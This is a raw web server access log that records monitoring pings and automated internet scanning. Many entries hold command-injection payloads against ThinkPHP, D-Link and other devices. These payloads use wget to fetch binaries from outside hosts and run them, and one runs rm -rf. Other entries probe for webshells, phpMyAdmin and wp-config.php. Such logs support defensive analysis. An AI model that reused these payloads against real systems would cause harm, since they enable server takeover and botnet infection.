212.91.246.72 - - [08/Feb/2020:14:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.73.205.62 - - [08/Feb/2020:14:31:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
176.233.215.186 - - [08/Feb/2020:14:31:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:14:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.169.4.34 - - [08/Feb/2020:14:36:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.85.38 - - [08/Feb/2020:14:36:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.10.142.75 - - [08/Feb/2020:14:37:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:14:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.85.38 - - [08/Feb/2020:14:39:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.22.89.14 - - [08/Feb/2020:14:40:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.31.21.88 - - [08/Feb/2020:14:40:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.58.202 - - [08/Feb/2020:14:41:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.213.16 - - [08/Feb/2020:14:42:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.221.162.55 - - [08/Feb/2020:14:43:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
111.230.248.96 - - [08/Feb/2020:14:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.230.248.96 - - [08/Feb/2020:14:43:41 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.230.248.96 - - [08/Feb/2020:14:43:42 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [08/Feb/2020:14:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.230.248.96 - - [08/Feb/2020:14:44:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:44:05 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:44:05 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:44:06 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:44:07 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:44:29 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
1.54.6.105 - - [08/Feb/2020:14:44:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.61.0.93 - - [08/Feb/2020:14:44:49 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
111.230.248.96 - - [08/Feb/2020:14:45:01 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:45:25 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [08/Feb/2020:14:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.230.248.96 - - [08/Feb/2020:14:45:49 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.248.96 - - [08/Feb/2020:14:46:14 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
111.230.248.96 - - [08/Feb/2020:14:46:17 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:27 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:27 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:27 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:27 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:28 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:29 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:29 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:29 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:29 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:30 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:30 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:30 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:30 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:31 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:31 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:31 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:31 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:32 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:32 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:32 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:33 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:33 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:33 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:33 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:34 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:34 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:35 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:35 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:36 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:36 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:37 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:37 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:37 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:38 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:38 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:38 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:39 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:39 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:39 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:40 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:40 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:41 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:41 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:42 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:42 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:43 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:43 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:43 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:43 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:14:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.230.248.96 - - [08/Feb/2020:14:46:44 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:45 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:48 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:48 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:48 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:48 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:49 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:49 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:50 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:50 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:51 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:51 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:53 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:57 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:57 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:58 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:46:59 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:47:00 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:47:02 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:47:03 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
